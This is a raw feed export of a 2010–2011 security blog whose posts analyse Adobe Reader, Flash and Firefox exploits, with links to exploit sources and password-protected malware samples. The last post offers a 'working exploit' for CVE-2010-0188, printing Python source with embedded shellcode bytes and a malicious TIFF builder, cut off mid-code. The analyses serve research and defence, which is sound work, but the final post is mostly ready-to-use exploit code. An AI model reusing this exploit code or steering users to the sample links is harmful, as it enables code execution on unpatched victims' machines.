rev.274&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-weight: bold;"&gt;Changelog&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;2011-19-02 : Initial release&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;2011-20-02 : Reported to vendor&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;2011-25-02 : patch released&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;2011-25-02 : public disclose&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-weight: bold;"&gt;Credits  &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;a href="http://aslitsecurity.blogspot.com/"&gt;Abhishek Lyall&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;pragyan.org&lt;br /&gt;&lt;a href="http://egoistka.org.ua/"&gt;http://egoistka.org.ua/&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-510473126807797656?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/510473126807797656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2011/02/pragyan-cms-multipy-vulnerabilities.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/510473126807797656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/510473126807797656'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2011/02/pragyan-cms-multipy-vulnerabilities.html' title='Pragyan CMS Multiple Vulnerabilities'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-1676323876400048741</id><published>2010-10-29T12:34:00.005+03:00</published><updated>2010-10-29T12:46:34.750+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2010-3765'/><title type='text'>Firefox Exploit (CVE-2010-3765)</title><content type='html'>Bug patched at firefox 3.6.12 .&lt;br /&gt;Update your browser ! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Firefox exploit from the wild&lt;br /&gt;&lt;br /&gt;working on  windows xp firefox version 3.6.8 - 3.6.11 &lt;br /&gt;&lt;br /&gt;&lt;a href="http://pastebin.com/Uwzt2EA6"&gt;source code of exploit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.virustotal.com/file-scan/report.html?id=de242ccf8ac8341e89d0a88d30f7bd131c7d63b60fc069fc6924ab629aad6fb8-1288341604"&gt;virustotal scan results&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-1676323876400048741?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/1676323876400048741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2010/10/firefox-exploitcve-2010-3765.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/1676323876400048741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/1676323876400048741'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2010/10/firefox-exploitcve-2010-3765.html' title='Firefox Exploit (CVE-2010-3765)'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-6975612048555432627</id><published>2010-10-28T07:39:00.017+03:00</published><updated>2010-10-29T13:45:46.224+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='APSA10-05'/><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2010-3654'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploits'/><title type='text'>New Adobe 0day (bug in flash player),CVE-2010-3654</title><content type='html'>&lt;div style="text-align: left;"&gt;New bug, successful exploitation of latest adobe reader &lt;span class="copy"&gt;9.4.0.195&lt;/span&gt; and flash player &lt;span class="copy"&gt;10.1.85.3&lt;/span&gt;.&lt;/div&gt;&lt;br /&gt;Remotely exploitable.&lt;br /&gt;&lt;br /&gt;Adobe confirms exploit &lt;a bitly="BITLY_PROCESSED" href="http://www.adobe.com/support/security/advisories/apsa10-05.html"&gt;http://www.adobe.com/support/security/advisories/apsa10-05.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bug exist in authplay.dll&lt;br /&gt;&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://1.bp.blogspot.com/_3I4Jto3gdK0/TMnwkpC_biI/AAAAAAAAAH4/-j38plmsrqE/s1600/123.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5533218129485721122" src="http://1.bp.blogspot.com/_3I4Jto3gdK0/TMnwkpC_biI/AAAAAAAAAH4/-j38plmsrqE/s320/123.JPG" style="cursor: pointer; height: 173px; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Already vulnerability actively exploited in the wild against Adobe Reader.&lt;br /&gt;Look at Mila's Blog:&lt;br /&gt;&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://contagiodump.blogspot.com/2010/10/potential-new-adobe-flash-player-zero.html"&gt;http://contagiodump.blogspot.com/2010/10/potential-new-adobe-flash-player-zero.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Exploit from the wild successful works under Adobe Reader 9.4.0 on windows xp.&lt;br /&gt;pdf size 241,679 bytes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Swf file size -22,946 bytes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;swf decompiled looks like&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://3.bp.blogspot.com/_3I4Jto3gdK0/TMn3ePjfRzI/AAAAAAAAAII/XL1fYOwW8yM/s1600/125.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5533225716144883506" src="http://3.bp.blogspot.com/_3I4Jto3gdK0/TMn3ePjfRzI/AAAAAAAAAII/XL1fYOwW8yM/s320/125.JPG" style="cursor: pointer; height: 248px; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;this is curvedPolygon.&lt;br /&gt;possibly related to&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://www.flashandmath.com/basic/drawpathCS4/example3.html"&gt;http://www.flashandmath.com/basic/drawpathCS4/example3.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Exploit use js heap spray&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://1.bp.blogspot.com/_3I4Jto3gdK0/TMn0z5mCBBI/AAAAAAAAAIA/csGMyFBUJag/s1600/124.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5533222789672207378" src="http://1.bp.blogspot.com/_3I4Jto3gdK0/TMn0z5mCBBI/AAAAAAAAAIA/csGMyFBUJag/s320/124.JPG" style="cursor: pointer; height: 216px; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;source code of heap spray&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://pastebin.com/kKBaQnuU"&gt;http://pastebin.com/kKBaQnuU&lt;/a&gt;&lt;br /&gt;nop slide 0x58585858&lt;br /&gt;exploit feel memory as showed in image&lt;br /&gt;&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://3.bp.blogspot.com/_3I4Jto3gdK0/TMn7U8QIcgI/AAAAAAAAAIY/k-0e7HNDgfA/s1600/126.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5533229954391110146" src="http://3.bp.blogspot.com/_3I4Jto3gdK0/TMn7U8QIcgI/AAAAAAAAAIY/k-0e7HNDgfA/s320/126.JPG" style="cursor: pointer; height: 320px; width: 214px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Exploit use ROP technic to allocate memory end copy shellcode.&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://pastebin.com/ax3mdmNh"&gt;http://pastebin.com/ax3mdmNh&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;shellcode drops in %temp% directory&lt;br /&gt;~.exe , ~temp.bat, pdf named same as pdf.&lt;br /&gt;&lt;br /&gt;dropped files are located here&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://www.mediafire.com/?asf501lfmtv3s0e"&gt;http://www.mediafire.com/?asf501lfmtv3s0e&lt;/a&gt;&lt;br /&gt;Password is "infected" .&lt;br /&gt;&lt;br /&gt;to be continued ...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-6975612048555432627?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/6975612048555432627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2010/10/new-adobe-0day-bug-in-flash-player.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/6975612048555432627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/6975612048555432627'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2010/10/new-adobe-0day-bug-in-flash-player.html' title='New Adobe 0day (bug in flash player),CVE-2010-3654'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_3I4Jto3gdK0/TMnwkpC_biI/AAAAAAAAAH4/-j38plmsrqE/s72-c/123.JPG' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-4288926737887463209</id><published>2010-09-17T19:00:00.016+03:00</published><updated>2010-09-17T21:33:12.797+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2010-2883'/><title type='text'>Adobe 0-day CVE-2010-2883 Made in Korea!</title><content type='html'>Lets look at  CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson pdf file from &lt;a href="http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html"&gt;Mila&lt;/a&gt;.&lt;br /&gt;One of the files that was dropped was &lt;b&gt;hcp.dll&lt;/b&gt; signed with certificate.&lt;br /&gt;&lt;br /&gt;File Header&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_3I4Jto3gdK0/TJORC-2M7uI/AAAAAAAAAHI/GChoRvm7MZA/s1600/head.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" id="BLOGGER_PHOTO_ID_5517913448875093730" src="http://1.bp.blogspot.com/_3I4Jto3gdK0/TJORC-2M7uI/AAAAAAAAAHI/GChoRvm7MZA/s320/head.JPG" style="cursor: pointer; display: block; height: 233px; margin: 0px auto 10px; text-align: center; width: 320px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;File compiled with &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Visual_Studio#Visual_Studio_6.0_.281998.29"&gt;visual studio 6.0&lt;/a&gt; at 30/08/2010 23:49:52.&lt;br /&gt;and it was captured by Mila on 07/09/2010. Looks like it was undetected and unknown 0-day only for one week.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_3I4Jto3gdK0/TJORN22ZMbI/AAAAAAAAAHQ/uuTu6vupyfo/s1600/res.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" id="BLOGGER_PHOTO_ID_5517913635706974642" src="http://2.bp.blogspot.com/_3I4Jto3gdK0/TJORN22ZMbI/AAAAAAAAAHQ/uuTu6vupyfo/s320/res.JPG" style="cursor: pointer; display: block; height: 320px; margin: 0px auto 10px; text-align: center; width: 225px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In resource system lang&lt;br /&gt;Child Type:         VarFileInfo&lt;br /&gt;Translation:        &lt;b&gt;1042/1200&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa381057%28VS.85%29.aspx"&gt;VarFileInfo&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Language is Korean Unicode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;File Write on C++ with MFC.&lt;br /&gt;&lt;br /&gt;Exported functions are:&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_3I4Jto3gdK0/TJOSmD6QQyI/AAAAAAAAAHY/ByV_DHYut6o/s1600/export.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" id="BLOGGER_PHOTO_ID_5517915151041315618" src="http://2.bp.blogspot.com/_3I4Jto3gdK0/TJOSmD6QQyI/AAAAAAAAAHY/ByV_DHYut6o/s320/export.JPG" style="cursor: pointer; display: block; height: 93px; margin: 0px auto 10px; text-align: center; width: 275px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and from shellcode called function StartUp.&lt;br /&gt;&lt;br /&gt;Decompiled hcp.dll&lt;br /&gt;&lt;a href="http://pastebin.com/vEzKptHN"&gt;http://pastebin.com/vEzKptHN&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;An my opinion :&lt;br /&gt;1. The file loader hcp.dll and the exploit were written by different people because of the difference in the quality of programming. Loader hcp.dll was written by a programmer with much lower skills, 'cos its writen on C++ with MFC and does not use any Firewall bypass Technique.&lt;br /&gt;&lt;br /&gt;2. Looks like hcp.dll had digital signature only to bypass AV.&lt;br /&gt;&lt;br /&gt;3. If the loader file made on a system with default Korean language (Korean Windows),  then it was not from China but from Korea.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-4288926737887463209?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/4288926737887463209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2010/09/cve-2010-2883-made-in-korea.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/4288926737887463209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/4288926737887463209'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2010/09/cve-2010-2883-made-in-korea.html' title='Adobe 0-day CVE-2010-2883 Made in Korea!'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_3I4Jto3gdK0/TJORC-2M7uI/AAAAAAAAAHI/GChoRvm7MZA/s72-c/head.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-1742891791122547340</id><published>2010-09-13T20:17:00.018+03:00</published><updated>2010-09-17T21:45:34.384+03:00</updated><title type='text'>CVE-2010-2883 poc</title><content type='html'>I received this exploit from &lt;a href="http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html"&gt;Mila&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;My tests&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Windows Version&lt;/td&gt;&lt;td&gt;Adobe Reader Version&lt;/td&gt;&lt;td&gt;exploitable&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;xp&lt;/td&gt;&lt;td&gt;8.1.1&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;vista&lt;/td&gt;&lt;td&gt;8.1.1&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;win7&lt;/td&gt;&lt;td&gt;8.1.1&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;xp&lt;/td&gt;&lt;td&gt;9.3.4&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;vista&lt;/td&gt;&lt;td&gt;9.3.4&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;win7&lt;/td&gt;&lt;td&gt;9.3.4&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="320" height="266" class="BLOG_video_class" id="BLOG_video-a0956c0b90db5258" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v3.nonxt6.googlevideo.com/videoplayback?id%3Da0956c0b90db5258%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1329883459%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D82A1254BADAFEDAE988CCC065A10CD1FC06FDC13.1B451C2026CAC545223AD44BEDCE7E258F7520CE%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3Da0956c0b90db5258%26offsetms%3D5000%26itag%3Dw160%26sigh%3DWwqCWnmG28hf-aVmX2r_hKa-Z2Y&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="320" height="266" bgcolor="#FFFFFF"flashvars="flvurl=http://v3.nonxt6.googlevideo.com/videoplayback?id%3Da0956c0b90db5258%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1329883459%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D82A1254BADAFEDAE988CCC065A10CD1FC06FDC13.1B451C2026CAC545223AD44BEDCE7E258F7520CE%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3Da0956c0b90db5258%26offsetms%3D5000%26itag%3Dw160%26sigh%3DWwqCWnmG28hf-aVmX2r_hKa-Z2Y&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Decoded JS (click on the picture to enlarge)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_3I4Jto3gdK0/TJOpPNsWIrI/AAAAAAAAAHg/Ycl8WwmIlU8/s1600/js_dec.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" height="462" id="BLOGGER_PHOTO_ID_5517940047297782450" src="http://4.bp.blogspot.com/_3I4Jto3gdK0/TJOpPNsWIrI/AAAAAAAAAHg/Ycl8WwmIlU8/s640/js_dec.JPG" style="display: block; margin: 0px auto 10px; text-align: center;" width="640" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Shellcode&lt;br /&gt;&lt;br /&gt;The shellcode is very interesting, it compatible for windows 7, drops dll and call function by address from dll.&lt;br /&gt;&lt;br /&gt;It get functions by name&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_3I4Jto3gdK0/TJOvyevawSI/AAAAAAAAAHo/b1npSPvKxbo/s1600/shell1.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" height="328" id="BLOGGER_PHOTO_ID_5517947250239258914" src="http://1.bp.blogspot.com/_3I4Jto3gdK0/TJOvyevawSI/AAAAAAAAAHo/b1npSPvKxbo/s400/shell1.JPG" style="display: block; margin: 0px auto 10px; text-align: center;" width="400" /&gt;&lt;/a&gt;SearchMask is dword, where begin data of embeded dll in pdf&lt;br /&gt;&lt;br /&gt;and at the end after put in %temp% dir hcp.dll ,&lt;br /&gt;shellcode call loadlibraryA hcp.dll , then call function StartUp by it address 17a0h&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_3I4Jto3gdK0/TJOwOskrTCI/AAAAAAAAAHw/nLQTpxE18gE/s1600/shell2.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" height="135" id="BLOGGER_PHOTO_ID_5517947734988639266" src="http://3.bp.blogspot.com/_3I4Jto3gdK0/TJOwOskrTCI/AAAAAAAAAHw/nLQTpxE18gE/s400/shell2.JPG" style="display: block; margin: 0px auto 10px; text-align: center;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;to be continued ....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-1742891791122547340?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/1742891791122547340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2010/09/cve-2010-2883-poc-video.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/1742891791122547340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/1742891791122547340'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2010/09/cve-2010-2883-poc-video.html' title='CVE-2010-2883 poc'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_3I4Jto3gdK0/TJOpPNsWIrI/AAAAAAAAAHg/Ycl8WwmIlU8/s72-c/js_dec.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-5152935090427259234</id><published>2010-03-13T01:19:00.064+02:00</published><updated>2010-03-25T02:56:05.534+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2010-0188'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploits'/><title type='text'>CVE-2010-0188  Adobe Working Exploit</title><content type='html'>Exploit works with Adobe Javascript disabled.&lt;br /&gt;Tested : successfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3 any languages) also works with Adobe browser plugin.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sites.google.com/site/villys777/1.pdf"&gt;Sample Exploit&lt;/a&gt; - Pdf file size ~2.3Kb.&lt;br /&gt;Virustotal scan result of exploit 0/42 - &lt;a href="http://www.virustotal.com/analisis/5ad4396d67f0c9d54572f051e28e9e62f4010c269a953d25259b17ad5fab4fd5-1268530404"&gt;virustotal.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update: March 17, 2010&lt;/span&gt;Chris Hadnagy aka loganWHD from &lt;a href="http://www.social-engineer.org/"&gt;http://www.social-engineer.org/&lt;/a&gt; created&amp;nbsp;a&amp;nbsp;nice &lt;a href="http://www.youtube.com/watch?v=Ars45ojFAtw"&gt;video about active exploitation of&amp;nbsp;this POC.&lt;/a&gt;&lt;br /&gt;thnx to him.&lt;br /&gt;&lt;br /&gt;Source code &lt;a href="http://sites.google.com/site/villys777/CVE-2010-0188.py"&gt;CVE-2010-0188.py&lt;/a&gt; with calc.exe exec shellcode.&lt;br /&gt;&lt;span style="font-family: times new roman; font-size: 85%;"&gt;------------------------------------------------------------------------------------------&lt;br /&gt;__doc__='''&lt;br /&gt;Title: Adobe PDF LibTiff Integer Overflow Code Execution.&lt;br /&gt;Product: Adobe Acrobat Reader&lt;br /&gt;Version: 8.0 - 8.2, 9.0 - 9.3&lt;br /&gt;CVE: 2010-0188&lt;br /&gt;Author: villy (villys777 at gmail.com)&lt;br /&gt;Site: http://bugix-security.blogspot.com/&lt;br /&gt;Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP (SP2, SP3)&lt;br /&gt;&lt;br /&gt;'''&lt;br /&gt;import sys&lt;br /&gt;import base64&lt;br /&gt;import struct&lt;br /&gt;import zlib&lt;br /&gt;import StringIO&lt;br /&gt;&lt;br /&gt;SHELLCODE_OFFSET=1500&lt;br /&gt;TIFF_OFSET=0x2038&lt;br /&gt;&lt;br /&gt;# windows/exec - 227 bytes&lt;br /&gt;# http://www.metasploit.com&lt;br /&gt;# Encoder: x86/shikata_ga_nai&lt;br /&gt;# EXITFUNC=process, CMD=calc.exe&lt;br /&gt;buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"&lt;br /&gt;buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"&lt;br /&gt;buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"&lt;br /&gt;buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"&lt;br /&gt;buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"&lt;br /&gt;buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"&lt;br /&gt;buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"&lt;br /&gt;buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"&lt;br /&gt;buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"&lt;br /&gt;buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"&lt;br /&gt;buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"&lt;br /&gt;buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"&lt;br /&gt;buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"&lt;br /&gt;buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"&lt;br /&gt;buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"&lt;br /&gt;buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"&lt;br /&gt;buf += "\x09\xc1\x5f\x00"&lt;br /&gt;&lt;br /&gt;class CVE20100188Exploit:&lt;br /&gt;def __init__(self,shellcode):&lt;br /&gt;self.shellcode = shellcode&lt;br /&gt;self.tiff64=base64.b64encode(self.gen_tiff())&lt;br /&gt;&lt;br /&gt;def gen_tiff(self):&lt;br /&gt;tiff = '\x49\x49\x2a\x00'&lt;br /&gt;tiff += struct.pack("&amp;lt;L", TIFF_OFSET)&lt;br /&gt;&lt;br /&gt;tiff += '\x90' * (SHELLCODE_OFFSET)&lt;br /&gt;tiff += self.shellcode&lt;br /&gt;tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)&lt;br /&gt;&lt;br /&gt;tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"&lt;br /&gt;tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"&lt;br /&gt;tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"&lt;br /&gt;tiff += 